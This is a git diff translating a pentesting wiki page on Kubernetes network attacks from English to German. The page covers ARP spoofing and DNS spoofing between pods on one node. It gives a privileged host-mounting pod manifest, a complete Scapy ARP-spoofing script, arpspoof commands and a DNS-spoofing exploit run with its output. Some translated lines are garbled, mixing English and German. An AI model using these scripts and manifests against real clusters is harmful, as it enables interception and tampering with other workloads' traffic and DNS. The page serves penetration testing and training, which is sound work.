Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

This commit is contained in:
Translator
2024-12-31 18:57:14 +00:00
parent 7770a50092
commit 77a009d308
244 changed files with 8632 additions and 11470 deletions

View File

@@ -1,95 +1,94 @@
# Kubernetes Network Attacks
# Kubernetes Netzwerkangriffe
{{#include ../../banners/hacktricks-training.md}}
## Introduction
## Einführung
In Kubernetes, it is observed that a default behavior permits the establishment of connections between **all containers residing on the same node**. This applies irrespective of the namespace distinctions. Such connectivity extends down to **Layer 2** (Ethernet). Consequently, this configuration potentially exposes the system to vulnerabilities. Specifically, it opens up the possibility for a **malicious container** to execute an **ARP spoofing attack** against other containers situated on the same node. During such an attack, the malicious container can deceitfully intercept or modify the network traffic intended for other containers.
In Kubernetes wird beobachtet, dass ein Standardverhalten die Herstellung von Verbindungen zwischen **allen Containern, die sich auf demselben Knoten befinden**, erlaubt. Dies gilt unabhängig von den Unterschieden in den Namespaces. Diese Konnektivität erstreckt sich bis zu **Layer 2** (Ethernet). Folglich könnte diese Konfiguration das System potenziell Schwachstellen aussetzen. Insbesondere eröffnet sie die Möglichkeit, dass ein **bösartiger Container** einen **ARP-Spoofing-Angriff** gegen andere Container, die sich auf demselben Knoten befinden, ausführt. Während eines solchen Angriffs kann der bösartige Container betrügerisch den Netzwerkverkehr abfangen oder ändern, der für andere Container bestimmt ist.
ARP spoofing attacks involve the **attacker sending falsified ARP** (Address Resolution Protocol) messages over a local area network. This results in the linking of the **attacker's MAC address with the IP address of a legitimate computer or server on the network**. Post successful execution of such an attack, the attacker can intercept, modify, or even stop data in-transit. The attack is executed on Layer 2 of the OSI model, which is why the default connectivity in Kubernetes at this layer raises security concerns.
ARP-Spoofing-Angriffe beinhalten, dass der **Angreifer gefälschte ARP** (Address Resolution Protocol) Nachrichten über ein lokales Netzwerk sendet. Dies führt dazu, dass die **MAC-Adresse des Angreifers mit der IP-Adresse eines legitimen Computers oder Servers im Netzwerk verknüpft wird**. Nach erfolgreicher Ausführung eines solchen Angriffs kann der Angreifer Daten im Transit abfangen, ändern oder sogar stoppen. Der Angriff wird auf Layer 2 des OSI-Modells ausgeführt, weshalb die standardmäßige Konnektivität in Kubernetes auf dieser Ebene Sicherheitsbedenken aufwirft.
In the scenario 4 machines are going to be created:
- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
- **ubuntu-attack**: **Malicious** container in default namespace
- **ubuntu-victim**: **Victim** machine in kube-system namespace
- **mysql**: **Victim** machine in default namespace
In dem Szenario werden 4 Maschinen erstellt:
- ubuntu-pe: Privilegierte Maschine, um zum Knoten zu entkommen und Metriken zu überprüfen (nicht für den Angriff benötigt)
- **ubuntu-attack**: **Bösartiger** Container im Standard-Namespace
- **ubuntu-victim**: **Opfer** Maschine im kube-system Namespace
- **mysql**: **Opfer** Maschine im Standard-Namespace
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
```
```bash
@@ -97,33 +96,31 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## Grundlegende Kubernetes-Netzwerk
## Basic Kubernetes Networking
If you want more details about the networking topics introduced here, go to the references.
Wenn Sie mehr Details zu den hier eingeführten Netzwerkthemen wünschen, gehen Sie zu den Referenzen.
### ARP
Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called **cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.
Allgemein gesagt, **ist die Pod-zu-Pod-Netzwerkverbindung innerhalb des Knotens** über eine **Brücke** verfügbar, die alle Pods verbindet. Diese Brücke wird **cbr0**“ genannt. (Einige Netzwerk-Plugins installieren ihre eigene Brücke.) Die **cbr0 kann auch ARP** (Address Resolution Protocol) Auflösung durchführen. Wenn ein eingehendes Paket bei cbr0 ankommt, kann es die Ziel-MAC-Adresse mithilfe von ARP auflösen.
This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).
Diese Tatsache impliziert, dass standardmäßig **jeder Pod, der im selben Knoten läuft**, in der Lage sein wird, mit jedem anderen Pod im selben Knoten (unabhängig vom Namespace) auf Ethernet-Ebene (Schicht 2) zu **kommunizieren**.
> [!WARNING]
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
> Daher ist es möglich, A**RP Spoofing-Angriffe zwischen Pods im selben Knoten durchzuführen.**
### DNS
In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace:
In Kubernetes-Umgebungen finden Sie normalerweise 1 (oder mehr) **DNS-Dienste, die** normalerweise im kube-system-Namespace ausgeführt werden:
```bash
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
@@ -139,33 +136,29 @@ Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
```
In den vorherigen Informationen können Sie etwas Interessantes sehen, die **IP des Dienstes** ist **10.96.0.10**, aber die **IP des Pods**, der den Dienst ausführt, ist **172.17.0.2.**
In the previous info you can see something interesting, the **IP of the service** is **10.96.0.10** but the **IP of the pod** running the service is **172.17.0.2.**
If you check the DNS address inside any pod you will find something like this:
Wenn Sie die DNS-Adresse innerhalb eines Pods überprüfen, werden Sie etwas wie folgt finden:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
However, the pod **weiß nicht**, wie man zu dieser **Adresse** gelangt, da der **Pod-Bereich** in diesem Fall 172.17.0.10/26 ist.
However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.
Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
Therefore, the pod will send the **DNS-Anfragen an die Adresse 10.96.0.10**, die von cbr0 **in** **172.17.0.2** **übersetzt** wird.
> [!WARNING]
> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
> Das bedeutet, dass eine **DNS-Anfrage** eines Pods **immer** über die **Brücke** gehen wird, um die **Service-IP in die Endpunkt-IP zu übersetzen**, selbst wenn der DNS-Server im selben Subnetz wie der Pod ist.
>
> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
> Wenn man das weiß und weiß, dass **ARP-Angriffe möglich sind**, wird ein **Pod** in einem Knoten in der Lage sein, den **Verkehr** zwischen **jedem Pod** im **Subnetz** und der **Brücke** zu **überwachen** und die **DNS-Antworten** vom DNS-Server (**DNS Spoofing**) zu **modifizieren**.
>
> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
> Darüber hinaus, wenn der **DNS-Server** im **gleichen Knoten wie der Angreifer** ist, kann der Angreifer **alle DNS-Anfragen** eines Pods im Cluster (zwischen dem DNS-Server und der Brücke) **abfangen** und die Antworten **modifizieren**.
## ARP Spoofing in pods in the same Node
## ARP Spoofing in Pods im gleichen Knoten
Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
Unser Ziel ist es, **mindestens die Kommunikation vom ubuntu-victim zur mysql** zu **stehlen**.
### Scapy
```bash
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
@@ -187,75 +180,69 @@ ngrep -d eth0
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
```
### ARPSpoof
```bash
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**.
Wie bereits erwähnt, wenn Sie **ein Pod im selben Knoten des DNS-Server-Pods kompromittieren**, können Sie **MitM** mit **ARPSpoofing** die **Bridge und das DNS**-Pod **überlisten** und **alle DNS-Antworten ändern**.
You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
In our scenario, **download** the **tool** in the attacker pod and create a \*\*file named `hosts` \*\* with the **domains** you want to **spoof** like:
Sie haben ein wirklich schönes **Tool** und **Tutorial**, um dies zu testen unter [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
In unserem Szenario, **laden Sie** das **Tool** im Angreifer-Pod herunter und erstellen Sie eine \*\*Datei mit dem Namen `hosts` \*\* mit den **Domains**, die Sie **überlisten** möchten, wie:
```
cat hosts
google.com. 1.1.1.1
```
Perform the attack to the ubuntu-victim machine:
Führen Sie den Angriff auf die ubuntu-victim-Maschine durch:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
@@ -272,15 +259,14 @@ dig google.com
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
```
> [!NOTE]
> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
> Wenn Sie versuchen, Ihr eigenes DNS-Spoofing-Skript zu erstellen, wird es **nicht funktionieren**, wenn Sie **nur die DNS-Antwort ändern**, da die **Antwort** eine **src IP** die IP-Adresse des **bösartigen** **Pods** haben wird und **nicht** akzeptiert wird.\
> Sie müssen ein **neues DNS-Paket** mit der **src IP** des **DNS** generieren, an den der Opfer die DNS-Anfrage sendet (was etwa 172.16.0.2 ist, nicht 10.96.0.10, das ist die K8s DNS-Service-IP und nicht die DNS-Server-IP, mehr dazu in der Einleitung).
## Capturing Traffic
The tool [**Mizu**](https://github.com/up9inc/mizu) is a simple-yet-powerful API **traffic viewer for Kubernetes** enabling you to **view all API communication** between microservices to help your debug and troubleshoot regressions.\
It will install agents in the selected pods and gather their traffic information and show you in a web server. However, you will need high K8s permissions for this (and it's not very stealthy).
Das Tool [**Mizu**](https://github.com/up9inc/mizu) ist ein einfaches, aber leistungsstarkes API **Traffic-Viewer für Kubernetes**, das es Ihnen ermöglicht, **alle API-Kommunikationen** zwischen Mikrodiensten zu **sehen**, um Ihnen beim Debuggen und Beheben von Regressionen zu helfen.\
Es wird Agenten in den ausgewählten Pods installieren und deren Verkehrsinfos sammeln und Ihnen in einem Webserver anzeigen. Sie benötigen jedoch hohe K8s-Berechtigungen dafür (und es ist nicht sehr heimlich).
## References
@@ -288,7 +274,3 @@ It will install agents in the selected pods and gather their traffic information
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
{{#include ../../banners/hacktricks-training.md}}